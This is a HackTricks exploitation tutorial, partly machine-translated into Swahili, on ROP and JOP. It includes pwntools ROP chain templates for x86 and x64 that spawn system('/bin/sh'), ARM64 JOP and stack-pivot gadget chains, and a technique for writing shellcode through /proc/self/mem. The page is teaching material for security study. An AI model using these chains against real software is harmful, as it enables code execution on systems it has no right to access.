ROP & JOP

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Taarifa za Msingi

Return-Oriented Programming (ROP) ni mbinu ya hali ya juu ya exploitation inayotumiwa kukwepa hatua za usalama kama No-Execute (NX) au Data Execution Prevention (DEP). Badala ya kuingiza na kuendesha shellcode, mshambuliaji hutumia vipande vya code vilivyopo tayari kwenye binary au katika loaded libraries, vinavyojulikana kama “gadgets”. Kila gadget kawaida huisha kwa maagizo ya ret na hufanya operesheni ndogo, kama kuhamisha data kati ya registers au kufanya operesheni za hisabati. Kwa kuunganisha gadgets hizi pamoja, mshambuliaji anaweza kujenga payload ili kufanya operesheni yoyote ile inayotakikana, kwa ufanisi kuipita kinga za NX/DEP.

Jinsi ROP Inavyofanya Kazi

  1. Control Flow Hijacking: Kwanza, mshambuliaji anahitaji kuiba control flow ya programu, kawaida kwa kutumia buffer overflow ili kuoverwrite saved return address kwenye stack.
  2. Gadget Chaining: Kisha mshambuliaji huchagua kwa uangalifu na kuunganisha gadgets ili kutekeleza vitendo vinavyotakiwa. Hii inaweza kujumuisha kuandaa arguments kwa function call, kuita function (mfano, system("/bin/sh")), na kushughulikia cleanup au operesheni za ziada zinazohitajika.
  3. Payload Execution: Wakati function iliyo na udhaifu inaporudi, badala ya kurudi mahali halali, huanza kutekeleza mnyororo wa gadgets.

Zana

Kwa kawaida, gadgets zinaweza kupatikana kwa kutumia ROPgadget, ropper au moja kwa moja kutoka kwa pwntools (ROP).

Mfano wa ROP Chain katika x86

x86 (32-bit) Calling conventions

  • cdecl: Muite (caller) ndiye anaye safisha stack. Vigezo vya function vinapushwa kwenye stack kwa mpangilio wa kinyume (kulia -> kushoto). Arguments are pushed onto the stack from right to left.
  • stdcall: Kama cdecl, lakini callee ndiye anayehusika kusafisha stack.

Kupata Gadgets

Kwanza, tuweke kama tumetambua gadgets zinazohitajika ndani ya binary au loaded libraries. Gadgets tunazovutiwa nazo ni:

  • pop eax; ret: Gadget hii inapop-thamani ya juu ya stack ndani ya register ya EAX kisha inarudi, ikituruhusu kudhibiti EAX.
  • pop ebx; ret: Kama hapo juu, lakini kwa register ya EBX, ikiruhusu udhibiti wa EBX.
  • mov [ebx], eax; ret: Inahamisha thamani iliyoko EAX kwenye eneo la kumbukumbu linaloonyeshwa na EBX kisha inarudi. Hii mara nyingi huitwa write-what-where gadget.
  • Zaidi ya hayo, tuna anwani ya function ya system() inayopatikana.

ROP Chain

Kwa kutumia pwntools, tunatayarisha stack kwa ajili ya utekelezaji wa ROP chain kama ifuatavyo kwa lengo la kutekeleza system('/bin/sh'), kumbuka jinsi mnyororo unavyoanza na:

  1. Maagizo ya ret kwa ajili ya alignment (hiari)
  2. Anwani ya function ya system (kwa kudhani ASLR imezimwa na libc inayojulikana, maelezo zaidi katika Ret2lib)
  3. Placeholder kwa anwani ya kurudi kutoka system()
  4. Anwani ya string "/bin/sh" (parameter kwa function ya system)
from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de

# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe  # This could be any gadget that allows us to control the return address

# Construct the ROP chain
rop_chain = [
ret_gadget,    # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr,   # Address of system(). Execution will continue here after the ret gadget
0x41414141,    # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr    # Address of "/bin/sh" string goes here, as the argument to system()
]

# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

Mfano wa ROP Chain katika x64

x64 (64-bit) Kanuni za kuitisha

  • Inatumia kanuni ya uiita ya System V AMD64 ABI kwenye mifumo zinazofanana na Unix, ambapo hoja za kwanza sita za integer au pointer hupitishwa katika rejista RDI, RSI, RDX, RCX, R8, na R9. Hoja za ziada hupitishwa kwenye stack. Thamani ya kurudisha imewekwa katika RAX.
  • Kanuni ya uiita ya Windows x64 inatumia RCX, RDX, R8, na R9 kwa hoja za kwanza nne za integer au pointer, huku hoja za ziada zikipitishwa kwenye stack. Thamani ya kurudisha imewekwa katika RAX.
  • Registers: Rejista za 64-bit zinajumuisha RAX, RBX, RCX, RDX, RSI, RDI, RBP, RSP, na R8 hadi R15.

Kupata Gadgets

Kwa lengo letu, tutaangazia gadgets zitakazoturuhusu kuweka rejista ya RDI (ili kupitisha kamba ya “/bin/sh” kama hoja kwa system()) kisha kuita function ya system(). Tutachukua kuwa tumebaini gadgets zifuatazo:

  • pop rdi; ret: Inatoa thamani ya juu ya stack kwenye RDI kisha inarejesha. Muhimu kwa kuweka hoja yetu kwa system().
  • ret: Kurudi rahisi, inafaa kwa usanidi wa stack katika baadhi ya matukio.

Na tunajua anwani ya system().

ROP Chain

Chini ni mfano unaotumia pwntools kuandaa na kutekeleza ROP chain inayolenga kutekeleza system(‘/bin/sh’) kwenye x64:

from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef

# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe  # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead     # ret gadget for alignment, if necessary

# Construct the ROP chain
rop_chain = [
ret_gadget,        # Alignment gadget, if needed
pop_rdi_gadget,    # pop rdi; ret
bin_sh_addr,       # Address of "/bin/sh" string goes here, as the argument to system()
system_addr        # Address of system(). Execution will continue here.
]

# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

Katika mfano huu:

  • Tunatumia pop rdi; ret gadget ili kuweka RDI kwa anuani ya "/bin/sh".
  • Tunaenda moja kwa moja kwenye system() baada ya kuweka RDI, na anuani ya system() ikiwa katika chain.
  • ret_gadget inatumika kwa alignment kama mazingira ya lengo yanahitaji, jambo ambalo ni zaidi kawaida kwenye x64 ili kuhakikisha alignment sahihi ya stack kabla ya kuita functions.

Stack Alignment

The x86-64 ABI inahakikisha kwamba stack imepangwa kwa 16-byte wakati call instruction inatekelezwa. LIBC, ili kuboresha utendakazi, uses SSE instructions (kama movaps) ambazo zinahitaji alignment hii. Ikiwa stack haijawekwa vizuri (maana RSP si multiple ya 16), miito kwa functions kama system itashindwa katika ROP chain. Ili kurekebisha hili, ongeza tu ret gadget kabla ya kuita system katika ROP chain yako.

x86 vs x64 main difference

Tip

Since x64 uses registers for the first few arguments, mara nyingi inahitaji gadgets chache zaidi kuliko x86 kwa miito rahisi ya function, lakini kupata na kuunganisha gadgets sahihi kunaweza kuwa ngumu zaidi kutokana na ongezeko la idadi ya registers na nafasi kubwa ya anuani. Ongezeko la idadi ya registers na nafasi kubwa ya anuani katika usanifu wa x64 linatoa fursa na changamoto kwa maendeleo ya exploits, hasa katika muktadha wa Return-Oriented Programming (ROP).

ROP chain in ARM64

Kuhusu ARM64 Basics & Calling conventions, angalia ukurasa ufuatao kwa taarifa hizi:

Introduction to ARM64v8

[!DANGER] Ni muhimu kutambua kwamba wakati unaporuka kwenda function kwa kutumia ROP katika ARM64, unapaswa kuruka hadi amri ya pili ya function (angalau) ili kuzuia kuhifadhi pointer ya stack ya sasa kwenye stack na kuingia katika mzunguko usioisha wa kuitwa kwa function tena na tena.

Finding gadgets in system Dylds

The system libraries comes compiled in one single file called dyld_shared_cache_arm64. This file contains all the system libraries in a compressed format. To download this file from the mobile device you can do:

scp [-J <domain>] root@10.11.1.1:/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64 .
# -Use -J if connecting through Corellium via Quick Connect

Kisha, unaweza kutumia zana chache kutoa maktaba halisi kutoka kwenye faili dyld_shared_cache_arm64:

brew install keith/formulae/dyld-shared-cache-extractor
dyld-shared-cache-extractor dyld_shared_cache_arm64 dyld_extracted

Sasa, ili kupata gadgets za kuvutia kwa binary unayo exploit, kwanza unahitaji kujua ni libraries zipi zimewekwa kwenye binary. Unaweza kutumia lldb* kwa hili:

lldb ./vuln
br s -n main
run
image list

Hatimaye, unaweza kutumia Ropper kutafuta gadgets katika maktaba unazovutiwa nazo:

# Install
python3 -m pip install ropper --break-system-packages
ropper --file libcache.dylib --search "mov x0"

JOP - Jump Oriented Programming

JOP ni mbinu inayofanana na ROP, lakini kila gadget, badala ya kutumia RET mwishoni mwa gadget, hutumia jump addresses. Hii inaweza kuwa muhimu hasa katika hali ambapo ROP haiwezekani, kama wakati hakuna gadgets zinazofaa. Hii inatumiwa mara kwa mara katika miundo ya ARM ambapo ret haisitumiki sana kama katika miundo ya x86/x64.

Unaweza kutumia zana za rop kutafuta JOP gadgets pia, kwa mfano:

cd usr/lib/system # (macOS or iOS) Let's check in these libs inside the dyld_shared_cache_arm64
ropper --file *.dylib --search "ldr x0, [x0" # Supposing x0 is pointing to the stack or heap and we control some space around there, we could search for Jop gadgets that load from x0

Hebu tuone mfano:

  • Kuna heap overflow that allows us to overwrite a function pointer iliyohifadhiwa kwenye heap ambayo itaitwa.

  • x0 inaelekeza kwenye heap ambamo tunadhibiti baadhi ya nafasi za kumbukumbu

  • Kutoka kwenye loaded system libraries tunapata gadgets zifuatazo:

0x00000001800d1918: ldr x0, [x0, #0x20]; ldr x2, [x0, #0x30]; br x2;
0x00000001800e6e58: ldr x0, [x0, #0x20]; ldr x3, [x0, #0x10]; br x3;
  • Tunaweza kutumia gadget ya kwanza kupakia x0 na pointer kwa /bin/sh (imehifadhiwa kwenye heap) kisha kupakia x2 kutoka x0 + 0x30 ikiwa na anwani ya system na kuruka kwake.

Stack Pivot

Stack pivoting ni mbinu inayotumiwa katika exploitation kubadilisha stack pointer (RSP kwenye x64, SP kwenye ARM64) ili kuelekeza kwenye eneo la kumbukumbu lililodhibitiwa, kama heap au buffer kwenye stack, ambapo mshambuliaji anaweza kuweka payload yake (kawaida ROP/JOP chain).

Examples of Stack Pivoting chains:

  • Mfano: gadget moja tu:
mov sp, x0; ldp x29, x30, [sp], #0x10; ret;

The `mov sp, x0` instruction sets the stack pointer to the value in `x0`, effectively pivoting the stack to a new location. The subsequent `ldp x29, x30, [sp], #0x10; ret;` instruction loads the frame pointer and return address from the new stack location and returns to the address in `x30`.
I found this gadget in libunwind.dylib
If x0 points to a heap you control, you can control the stack pointer and move the stack to the heap, and therefore you will control the stack.

0000001c61a9b9c:
ldr x16, [x0, #0xf8];    // Control x16
ldr x30, [x0, #0x100];   // Control x30
ldp x0, x1, [x0];        // Control x1
mov sp, x16;             // Control sp
ret;                     // ret will jump to x30, which we control

To use this gadget you could use in the heap something like:
<address of x0 to keep x0>     # ldp x0, x1, [x0]
<address of gadget>            # Let's suppose this is the overflowed pointer that allows to call the ROP chain
"A" * 0xe8 (0xf8-16)           # Fill until x0+0xf8
<address x0+16>                # Lets point SP to x0+16 to control the stack
<next gadget>                  # This will go into x30, which will be called with ret (so add of 2nd gadget)
  • Mfano wa gadgets nyingi:
// G1: Typical PAC epilogue that restores frame and returns
// (seen in many leaf/non-leaf functions)
G1:
ldp     x29, x30, [sp], #0x10     // restore FP/LR
autiasp                          // **PAC check on LR**
retab                            // **PAC-aware return**

// G2: Small helper that (dangerously) moves SP from FP
// (appears in some hand-written helpers / stubs; good to grep for)
G2:
mov     sp, x29                  // **pivot candidate**
ret

// G3: Reader on the new stack (common prologue/epilogue shape)
G3:
ldp     x0, x1, [sp], #0x10      // consume args from "new" stack
ret
G1:
stp x8, x1, [sp]  // Store at [sp] → value of x8 (attacker controlled) and at [sp+8] → value of x1 (attacker controlled)
ldr x8, [x0]      // Load x8 with the value at address x0 (controlled by attacker, address of G2)
blr x8            // Branch to the address in x8 (controlled by attacker)

G2:
ldp x29, x30, [sp], #0x10  // Loads x8 -> x29 and x1 -> x30. The value in x1 is the value for G3
ret
G3:
mov sp, x29       // Pivot the stack to the address in x29, which was x8, and was controlled by the attacker possible pointing to the heap
ret

Shellcode kupitia /proc/self/mem (Embedded Linux)

Ikiwa tayari una ROP chain lakini hakuna RWX mappings, mbadala ni kuandika shellcode ndani ya mchakato wa sasa ukitumia /proc/self/mem kisha kuruka kwake. Hii ni kawaida kwenye Embedded Linux targets ambapo /proc/self/mem inaweza kupuuza ulinzi wa kuandika kwenye executable segments katika usanidi wa default.

Typical chain idea:

fd = open("/proc/self/mem", O_RDWR);
lseek(fd, target_addr, SEEK_SET);   // e.g., a known RX mapping or code cave
write(fd, shellcode, shellcode_len);
((void(*)())target_addr)();         // ARM Thumb: jump to target_addr | 1

If preserving fd is hard, calling open() multiple times can make it feasible to kugisia descriptor used for /proc/self/mem. On ARM Thumb targets, remember to set the low bit when branching (addr | 1).

Ulinzi Dhidi ya ROP na JOP

  • ASLR & PIE: Ulinzi huu unafanya matumizi ya ROP kuwa mgumu zaidi kwani anwani za gadgets hubadilika kati ya utekelezaji.
  • Stack Canaries: Katika tukio la BOF, inahitajika kupitisha stack canary zilizohifadhiwa ili kuandika juu return pointers na kutumia ROP chain.
  • Lack of Gadgets: Ikiwa hakuna gadgets za kutosha haitakuwa inawezekana kuunda ROP chain.

Mbinu zinazotegemea ROP

Tambua kwamba ROP ni mbinu tu ya kutekeleza arbitrary code. Kwa msingi wa ROP, mbinu nyingi za Ret2XXX zimetengenezwa:

  • Ret2lib: Tumia ROP kuita arbitrary functions kutoka library iliyopakiwa kwa arbitrary parameters (kawaida kitu kama system('/bin/sh')).

Ret2lib

  • Ret2Syscall: Tumia ROP kuandaa simu ya syscall, kwa mfano execve, na kuitumia kutekeleza amri yoyote.

Ret2syscall

  • EBP2Ret & EBP Chaining: Kwanza itatumia EBP badala ya EIP kudhibiti mtiririko na pili ni sawa na Ret2lib lakini katika kesi hii mtiririko unadhibitiwa kwa msingi wa anwani za EBP (ingawa pia inahitajika kudhibiti EIP).

Stack Pivoting

Mifano Nyingine & Marejeo

Marejeo

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks